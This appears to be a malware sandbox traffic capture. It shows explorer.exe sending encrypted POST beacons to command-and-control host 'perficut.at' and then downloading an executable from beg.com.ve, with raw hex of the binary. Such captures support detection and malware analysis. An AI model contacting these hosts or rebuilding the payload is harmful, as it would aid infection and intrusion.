Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49690	211.119.84.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:27.880762100 CET	4223	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://amjugskah.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 137 Host: perficut.at
Feb 16, 2023 13:57:27.880852938 CET	4223	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 59 45 f1 b6 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vuYEx/ysik"E"%7=6}\|MFST
Feb 16, 2023 13:57:29.146518946 CET	4224	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49691	211.171.233.129	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:29.473334074 CET	4225	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uiyywtsd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: perficut.at
Feb 16, 2023 13:57:29.473403931 CET	4225	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 7f 2c be 88 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu,eh<QYa<vkfxJy20HH\|c(NK$PVLHm%yq_YY&em^QanbW]Y
Feb 16, 2023 13:57:30.766644001 CET	4226	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49692	2.180.10.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 13:57:30.925180912 CET	4227	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dbxnnkev.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: perficut.at
Feb 16, 2023 13:57:30.925267935 CET	4227	OUT	Data Raw: 3b 6e 50 19 f0 cf 60 54 ad ac c4 02 07 06 72 c9 7a 0c cc 96 6d 00 9f 64 09 7e 78 e0 34 b6 c2 19 9f 2a cf 21 72 65 25 6e ed ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 22 26 a8 a5 Data Ascii: ;nP`Trzmd~x4!re%n?$`7C[zqNA -[k,vu"&X$AfnR_5r`EiX)0%S:9NFd!WnM.HOC*RClq1eWaiCfbIK
Feb 16, 2023 13:57:31.341516972 CET	4228	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 12:57:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 48 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 09 6f 41 ba 3b 05 f6 b6 51 f6 d1 f1 b3 31 80 2b d8 eb 6c 53 1b 88 8f 97 80 74 dc 2e Data Ascii: #\6oA;Q1+lSt.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49693	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-16 12:57:32 UTC	0	OUT	GET /systems/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: beg.com.ve
2023-02-16 12:57:37 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 16 Feb 2023 12:57:37 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=21abd252.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Nginx-Upstream-Cache-Status: EXPIRED X-Server-Powered-By: Engintron
2023-02-16 12:57:37 UTC	0	IN	Data Raw: 38 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 9c c0 eb 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b Data Ascii: 8000MZ@!L!This program cannot be run in DOS mode.$]+sEsEsE!sE!psE!1sE>>sEsDsE!sE!sE!sERichsEPELa
2023-02-16 12:57:37 UTC	16	IN	Data Raw: 40 00 ff 15 74 10 40 00 8b 45 f0 40 3d a3 95 4f 00 89 45 f0 0f 8c 6f ff ff ff 8b 35 94 11 40 00 8b 3d 88 11 40 00 8b 1d 58 10 40 00 c7 45 f0 f4 04 00 00 8d 9b 00 00 00 00 6a 00 ff d6 6a 00 6a 00 ff d7 ff d3 83 6d f0 01 75 ee 8b 3d 5c 10 40 00 8b 1d ac 10 40 00 33 f6 6a 00 ff d7 ff d3 81 fe e8 c0 26 00 0f 8d 1b 0e 00 00 c7 45 b0 9d 3f d3 75 c7 85 f8 fe ff ff 4d 41 dd 42 c7 45 ec 78 27 43 7a c7 45 e8 f7 b8 c1 43 c7 85 00 ff ff ff 7e 44 4a 75 c7 85 8c fe ff ff f3 cd 54 7f c7 45 ac c3 11 24 05 c7 85 78 ff ff ff c8 71 ad 5b c7 85 1c ff ff ff 9d 58 61 0a c7 45 bc 9b 79 9d 5b c7 85 3c ff ff ff 9d 57 ba 21 c7 85 2c fe ff ff 64 1b 18 63 c7 85 bc fe ff ff 66 f4 28 1b c7 85 24 ff ff ff ec d6 02 01 c7 85 88 fe ff ff 4b 0c 66 6d c7 85 84 fe ff ff c3 84 4b 6e c7 85 6c Data Ascii: @t@E@=OEo5@=@X@Ejjjmu=\@@3j&E?uMABEx'CzEC~DJuTE$xq[XaEy[<W!,dcf($KfmKnl
2023-02-16 12:57:37 UTC	32	IN	Data Raw: 00 dd 07 dd 1e eb 84 c7 45 dc e0 1d 40 00 e9 78 ff ff ff c7 45 d8 02 00 00 00 e9 f7 fe ff ff d9 e8 e9 bb 00 00 00 c7 45 d8 03 00 00 00 c7 45 dc ac 1d 40 00 e9 e4 fe ff ff 81 c1 18 fc ff ff 83 f9 0c 0f 87 9b 00 00 00 ff 24 8d ff 8a 40 00 c7 45 dc d0 1d 40 00 eb a9 c7 45 dc d4 1d 40 00 eb a0 c7 45 dc dc 1d 40 00 eb 97 c7 45 dc a4 1d 40 00 eb 8e c7 45 dc 9c 1d 40 00 eb 85 c7 45 dc 94 1d 40 00 e9 79 ff ff ff c7 45 dc 8c 1d 40 00 e9 6d ff ff ff c7 45 dc 88 1d 40 00 eb 10 c7 45 dc 84 1d 40 00 eb 07 c7 45 dc 80 1d 40 00 dd 07 dc 4d f8 dd 16 dd 07 dd 5d e0 dd 03 dd 5d e8 8d 4d d8 dd 5d f0 51 c7 45 d8 01 00 00 00 ff d0 59 85 c0 75 0b e8 78 e5 ff ff c7 00 21 00 00 00 dd 45 f0 dd 1e 5f 5e 5b c9 c3 66 8a 40 00 6f 8a 40 00 78 8a 40 00 81 8a 40 00 8a 8a 40 00 93 8a 40 Data Ascii: E@xEEE@$@E@E@E@E@E@E@yE@mE@E@E@M]]M]QEYux!E_^[f@o@x@@@@
2023-02-16 12:57:37 UTC	48	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 d9 b7 ff ff ff b6 88 00 00 00 e8 ce b7 ff ff ff b6 8c 00 00 00 e8 c3 b7 ff ff ff b6 90 00 00 00 e8 b8 b7 ff ff ff b6 94 00 00 00 e8 ad b7 ff ff ff b6 98 00 00 00 e8 a2 b7 ff ff ff b6 9c 00 00 00 e8 97 b7 ff ff ff b6 a0 00 00 00 e8 8c b7 ff ff ff b6 a4 00 00 00 e8 81 b7 ff ff ff b6 a8 00 00 00 e8 76 b7 ff ff 83 c4 2c 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 35 8b 06 3b 05 58 4b 41 00 74 07 50 e8 53 b7 ff ff 59 8b 46 04 3b 05 5c 4b 41 00 74 07 50 e8 41 b7 ff ff 59 8b 76 08 3b 35 60 4b 41 00 74 07 56 e8 2f b7 ff ff 59 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 7e 8b 46 0c 3b 05 64 4b 41 00 74 07 50 e8 0d b7 ff ff 59 8b 46 10 3b 05 68 4b 41 00 74 07 50 e8 fb b6 ff ff 59 8b 46 14 3b 05 6c 4b 41 00 74 07 50 e8 e9 b6 ff ff 59 8b Data Ascii: v,^]UVut5;XKAtPSYF;\KAtPAYv;5`KAtV/Y^]UVut~F;dKAtPYF;hKAtPYF;lKAtPY
2023-02-16 12:57:37 UTC	64	IN	Data Raw: bd ff ff 59 89 7d fc 53 e8 f4 c2 ff ff 59 89 45 e0 3b c7 0f 84 9e 00 00 00 3b 35 34 2c 5a 00 77 49 56 53 50 e8 d6 c7 ff ff 83 c4 0c 85 c0 74 05 89 5d e4 eb 35 56 e8 a5 ca ff ff 59 89 45 e4 3b c7 74 27 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 9a 86 ff ff 53 e8 a4 c2 ff ff 89 45 e0 53 50 e8 ca c2 ff ff 83 c4 18 39 7d e4 75 48 3b f7 75 06 33 f6 46 89 75 0c 83 c6 0f 83 e6 f0 89 75 0c 56 57 ff 35 c4 5a 47 00 ff 15 0c 11 40 00 89 45 e4 3b c7 74 20 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 46 86 ff ff 53 ff 75 e0 e8 7d c2 ff ff 83 c4 14 c7 45 fc fe ff ff ff e8 2e 00 00 00 83 7d e0 00 75 31 85 f6 75 01 46 83 c6 0f 83 e6 f0 89 75 0c 56 53 6a 00 ff 35 c4 5a 47 00 ff 15 bc 10 40 00 8b f8 eb 12 8b 75 0c 8b 5d 08 6a 04 e8 fd bb ff ff 59 c3 8b 7d e4 85 ff Data Ascii: Y}SYE;;54,ZwIVSPt]5VYE;t'CH;rPSuSESP9}uH;u3FuuVW5ZG@E;t CH;rPSuFSu}E.}u1uFuVSj5ZG@u]jY}
2023-02-16 12:57:37 UTC	80	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 41 52 85 eb c7 26 ef aa 66 b4 8a 37 51 Data Ascii: AR&f7Q
2023-02-16 12:57:37 UTC	96	IN	Data Raw: 2f 24 eb 3b c7 9f 30 70 a9 63 9a b0 e7 34 8d 97 45 67 a0 e8 1f 47 40 b6 84 26 d6 fe 6d 10 03 bf 7f 2e d4 f7 48 99 4c 5f 16 12 2b 0e 43 5e 11 68 6d ca 1b d4 6b 7f 4f 35 ba 9f b0 8f 79 5f c3 67 f2 d7 f3 a5 4e 34 d1 5f 50 30 81 29 30 17 a3 eb 1b 6d e5 46 01 ef b4 50 35 41 3e 0d c5 57 0a 9e 2b 5a 50 2d 06 f8 6c 61 77 2d e2 32 26 89 bd 81 ee cd 84 c4 93 4d fa 64 a3 1c 1e 3c eb 6f fa 77 43 08 4f 38 ec 41 09 55 93 ba d1 f7 b6 ce 55 f9 24 56 98 f1 54 90 fb 49 db 2b 95 37 2d 25 68 a0 1b b8 66 ca 1b 9c 39 8e 11 8f 5d dd 8e b3 40 6a 90 8b 99 15 b8 8c 52 f4 4b 73 c0 6c 7a 38 99 7f 06 ad ae aa e6 1b 05 e2 47 7e 82 f6 b3 a1 31 42 ed 75 23 bc 21 f3 52 fc 92 e2 74 1c 39 fb 1c 20 fe 44 df d2 9c 91 36 f6 66 de 28 27 ae 97 5c 59 73 59 22 ef e0 34 ec 6c c4 36 37 47 e0 2e c9 Data Ascii: /$;0pc4EgG@&m.HL_+C^hmkO5y_gN4_P0)0mFP5A>W+ZP-law-2&Md<owCO8AUU$VTI+7-%hf9]@jRKslz8G~1Bu#!Rt9 D6f('\YsY"4l67G.
2023-02-16 12:57:37 UTC	112	IN	Data Raw: 16 f3 e8 46 62 49 15 9e ed 9e 83 26 80 bb 90 36 34 c0 3c 3a 7e d0 48 53 43 bf ac 35 4b d5 83 9c 48 60 ca ea d7 24 bb b5 0b 9d 8b af 8d 8d ad 24 1f dc 4e b2 22 10 4f d5 d8 08 af da b5 c6 5f 37 ac 1a 4a f9 c3 d4 7d 0a 55 31 23 f1 0e 92 7e f2 4a a7 0e e4 c7 f3 df 43 e4 dd 71 7c 90 0b aa e0 da a5 22 8b 61 49 4b ad d0 ba 42 b7 3b 08 26 1d d6 5a c8 ef 72 ce f4 21 03 c5 fa a8 e2 91 79 81 dc 10 c6 1f 9e bc 32 7c f7 c0 8f 05 5b 81 73 e7 db af ab 7c 46 fb da 59 f1 f9 ff 1f 4a ba 20 c9 8b 89 3f 3a 1d 5d 39 7f 45 45 26 af 89 7b 01 42 78 ee a9 88 45 e6 16 24 01 3c 72 7c 94 73 3e 11 36 15 5f 87 33 09 4b d0 65 e0 f4 86 c8 41 58 58 96 85 ec fb 0c ce 25 51 29 e3 60 3c ae 81 79 1d 27 d8 fb 2f 46 ab 42 cf af 45 e0 63 b5 c2 c8 be 44 d7 e9 cb 2d 64 ca 96 8d f8 0e 8c ff 88 3e Data Ascii: FbI&64<:~HSC5KH`$$N"O_7J}U1#~JCq\|"aIKB;&Zr!y2\|[s\|FYJ ?:]9EE&{BxE$<r\|s>6_3KeAXX%Q)`<y'/FBEcD-d>
2023-02-16 12:57:37 UTC	128	IN	Data Raw: 2f 22 0d f0 64 73 d4 88 a2 13 f8 b5 cf 9a 66 d9 1a 0f 64 af 18 e4 61 3c da 5a 20 3d e3 6e df 52 ce 4e e2 2f 0a c7 4b 76 5a 03 af a7 c9 db c6 59 1b fa 07 49 4d 49 bd 48 ed b0 74 75 c0 89 da 7b 2a dc 1b 66 52 8e e5 08 7e d1 33 bd 4c 0a 59 db 2b 92 89 e0 09 84 82 8a 2e 98 09 b6 75 d3 8c c3 0a 37 ac e8 a2 b4 0c cc 2f a5 27 fb 89 d5 ca 6c 7c d1 60 e1 a4 59 67 16 37 c3 9e ba 88 41 b8 23 ea 29 a3 58 0e c7 ca ca a2 ff 5e 37 01 5d af 6c 33 b6 6b a1 55 d1 70 51 23 b4 46 65 d5 98 96 ff 46 34 4a 7c 76 1c 0c f8 34 cd 8e 61 75 25 05 48 36 76 c2 33 35 1a b3 aa f4 a6 8b d0 25 e9 8c e1 90 68 2d 49 08 db bf 73 5d 0a ec d0 8a 17 37 c9 71 fe ee 32 13 47 e7 e1 25 a8 39 31 58 31 7e 82 57 99 88 38 33 55 dc f8 19 a4 39 af f4 52 9b 3a 0d ba 87 81 14 a5 20 c7 23 75 4b f2 58 e5 89 Data Ascii: /"dsfda<Z =nRN/KvZYIMIHtu{*fR~3LY+.u7/'l\|`Yg7A#)X^7]l3kUpQ#FeF4J\|v4au%H6v35%h-Is]7q2G%91X1~W83U9R: #uKX
2023-02-16 12:57:37 UTC	144	IN	Data Raw: f4 38 67 a7 c5 21 68 2c e3 a9 3a 54 21 32 f2 82 74 a9 24 fc bd e6 2a 1e 15 e9 f1 c3 3f c9 5d a3 35 71 c9 80 89 f2 6a e9 cf 1a 14 51 79 7d 21 fd a2 d1 7a 5a da e6 6b 61 6e b4 ac 21 cb c9 8b 18 02 45 04 d0 f1 94 fa ce b7 72 e8 b7 dd fc 3c 26 eb 9a 36 40 73 ac 39 c2 d5 ba 74 2e da 45 75 05 69 54 ab fa ef 0f 49 0b 4c 4d 36 4d a2 64 37 6d a2 7e 6d 30 a4 57 70 54 da 66 36 0f 51 13 53 b3 4a 25 99 a9 33 bc dc 6d 19 aa 7f e5 59 67 79 4e 42 b9 74 0e 6e 4f 99 8b f1 59 2f b8 0a 98 6f c3 f5 50 c8 f3 83 d3 30 90 d4 f4 ed 52 bc 23 30 6e 42 fe 0a 64 ce a1 86 84 d0 09 a0 6b e5 f0 f2 ab eb 5e d8 4a 8a 26 81 b8 64 be 5e 24 94 da a6 d0 25 a3 c7 ef 56 94 80 14 c5 f1 dc 64 da 89 c9 43 ff 11 2b db be 7d 5b 8a e2 52 b2 0f 1b 6c 25 e7 3d ee 44 75 4f 35 bd 4e 62 12 24 ef 50 78 bb Data Ascii: 8g!h,:T!2t$*?]5qjQy}!zZkan!Er<&6@s9t.EuiTILM6Md7m~m0WpTf6QSJ%3mYgyNBtnOY/oP0R#0nBdk^J&d^$%VdC+}[Rl%=DuO5Nb$Px
2023-02-16 12:57:37 UTC	160	IN	Data Raw: 82 0a de fc 76 cd fe fe 51 04 09 74 a1 0a 36 39 f8 f0 28 01 53 11 91 77 36 56 32 08 65 13 1e 8e 99 4d 5c b9 13 76 62 db 4f ef aa 2b 4b 45 9e f3 88 b0 30 64 84 21 0e 1c c8 ed 17 ec 5e 21 3f ed 59 32 da 7d 4d cd c1 c7 eb 57 fe b9 c6 63 f6 a3 0d b5 0e 64 84 9a 80 ee cb 21 89 88 06 70 4a ab c4 38 42 c8 d6 37 c7 49 d4 6a ff f2 27 29 e1 44 0d 65 c8 1d f2 38 b7 e4 bc 0f 48 fd d6 c2 64 6c a1 a4 96 2b 26 8e cf 65 9a e0 11 b2 56 f9 38 4a 05 8a 4b 56 1a 60 25 c3 01 e0 7e 2e fd 03 6e 59 aa 5c d5 b6 fc 1a dd 13 88 4a a9 6c f4 91 a1 5d 93 b5 2f cb 31 c8 0a 4b c4 1c 94 c3 98 b0 d1 48 e6 54 e2 f6 b6 96 80 a7 96 00 24 ec d1 d9 9a bc 6d c0 46 04 51 df 0b 17 28 9b 46 3f de c4 a7 25 bb ef f6 81 f0 8d 6e a6 e2 6d 07 0c 53 b1 7c 2a d8 ca e5 2a 36 8e ac 63 e4 fe 92 7e 39 d2 92 Data Ascii: vQt69(Sw6V2eM\vbO+KE0d!^!?Y2}MWcd!pJ8B7Ij')De8Hdl+&eV8JKV`%~.nY\Jl]/1KHT$mFQ(F?%nmS\|**6c~9
2023-02-16 12:57:37 UTC	176	IN	Data Raw: b0 5b ef 88 73 2d 9e de 6b 37 05 a7 b7 d4 dd 7e cb 71 54 eb 73 f7 55 b6 8d f2 92 dd 09 04 2e dc e7 c0 44 9b ed 41 a1 a7 16 73 42 30 b1 cc e3 3f 85 bc 4d b8 52 e4 07 0d 21 93 2b 0b d0 ae 4f c2 35 e0 0a b0 4d 37 b6 b8 90 68 70 0b 6d 2b 1f 35 52 54 22 f7 9e a9 fd 2b d6 0d 97 80 72 3a ae 38 03 3e 27 b4 da be bb ed fc 69 f3 87 d9 e4 dc 5b b0 63 a2 f9 d2 bf 53 b1 9b 37 12 61 3a 07 c6 4b a4 30 66 fc e5 09 ca 45 1a df 4f e9 48 5f f5 e8 3e 5b a6 8a 00 11 50 7e fc 7d 31 29 83 c6 70 ac 0d d5 f0 33 fa bb 3a 96 c8 d5 21 58 84 a6 e7 70 f3 cf 42 47 17 3c 96 aa 3b b8 d6 58 9c d3 c4 e4 75 1f ea d5 5b ab 6b 13 39 94 02 6e d4 4f e1 92 a8 a8 13 3a e9 97 e0 fc 11 35 e4 3c 8c 72 5d 57 d5 5d 2b 90 e2 37 66 8e 1d be 94 37 e6 b9 7e 8e 9f 57 56 63 a2 98 a7 82 75 0e 3d 19 66 ae 44 Data Ascii: [s-k7~qTsU.DAsB0?MR!+O5M7hpm+5RT"+r:8>'i[cS7a:K0fEOH_>[P~}1)p3:!XpBG<;Xu[k9nO:5<r]W]+7f7~WVcu=fD
2023-02-16 12:57:37 UTC	192	IN	Data Raw: 18 5a 2e de f6 9a de cd 48 3a ad bf 52 25 25 1d 51 8e c7 3c 84 a7 a3 be 6a 7f 50 8c a1 11 20 a6 ef db 0c 2c a8 91 bd c4 c2 f3 43 2f 1d f4 ba 72 d4 28 56 71 97 6d c9 31 0d 6a 40 c7 da 49 1e c5 66 01 e5 42 76 de 1f be b2 4e 74 91 57 f1 ac 6e c2 07 37 48 4c 13 0f 34 63 ad f5 26 36 44 d2 45 57 4e ea 94 7b 42 cd 22 0a 10 49 7a bb 7f 5f fa 16 b0 6e 14 37 77 81 20 d9 3c 9d 88 3e 5d f1 79 e5 8d 9f ef d8 d4 aa a7 f7 e3 ff 61 ef 13 79 4b 94 22 7c 42 b4 f2 88 80 a2 bf d9 a1 c5 34 df 71 8f 83 7a a9 1f ec fc c1 cd 51 5c 4c b1 64 7d 29 df ac d0 28 3f d3 76 6e d4 c8 d8 52 1a 5d 62 dc 86 a6 d6 38 73 fb 13 37 bf 4b be dd f8 0c b5 2e f8 ae a0 f5 a1 40 f0 1f d4 39 3f 8b a9 b2 fe b0 d1 4b 6d 21 6e 0c ef d1 a9 66 f6 53 f5 16 a0 10 4f ca 71 01 33 97 81 38 57 88 e4 0a aa aa d8 Data Ascii: Z.H:R%%Q<jP ,C/r(Vqm1j@IfBvNtWn7HL4c&6DEWN{B"Iz_n7w <>]yayK"\|B4qzQ\Ld})(?vnR]b8s7K.@9?Km!nfSOq38W
2023-02-16 12:57:37 UTC	208	IN	Data Raw: 28 5d 6c 10 cf 3a 96 47 ce af ec 8a c0 de 09 34 22 28 74 4a cb c9 66 74 20 a2 b2 c5 39 3a 6e 74 f2 be 56 27 0b c5 cf 4d 13 1c 4e d4 62 78 12 b6 e8 4e 77 d8 2b ef b7 a5 6b 95 26 b9 60 13 45 32 7d df 5b b5 2d 6b 86 0e 49 7a a5 74 94 f1 a9 1a 1e 5e f3 0c d8 d3 37 07 ec cc c3 6e 58 b1 d5 2a 7d ef d9 88 05 4d 29 13 32 55 75 60 00 b4 77 bc 63 8b 7f a0 57 ff c6 f4 01 de f2 ce 08 e1 4e 40 3b ac 55 9c c4 91 87 ce 26 2a de 7f 58 84 73 82 78 45 15 f2 1b 30 00 5b 9f ee 85 03 5f 2d 4a aa be 9d 78 a7 96 16 93 93 e1 6e 6e 22 93 03 0c 53 18 86 0b d3 35 e2 05 32 c2 22 b5 b0 5c 8f 2d ec 91 bd 98 3e 99 37 7d fa c0 9c 48 50 e1 8f ae 3b 05 86 6b c6 54 b1 d8 32 e4 47 d2 3a 40 fb 9c 4c d8 20 ab 95 b6 29 89 cd 9c cc 57 1f ec 03 9c 99 9a ea df 75 67 bb 02 2f 92 94 1d 52 79 f3 6b Data Ascii: (]l:G4"(tJft 9:ntV'MNbxNw+k&`E2}[-kIzt^7nX}M)2Uu`wcWN@;U&XsxE0[_-Jxnn"S52"\->7}HP;kT2G:@L )Wug/Ryk
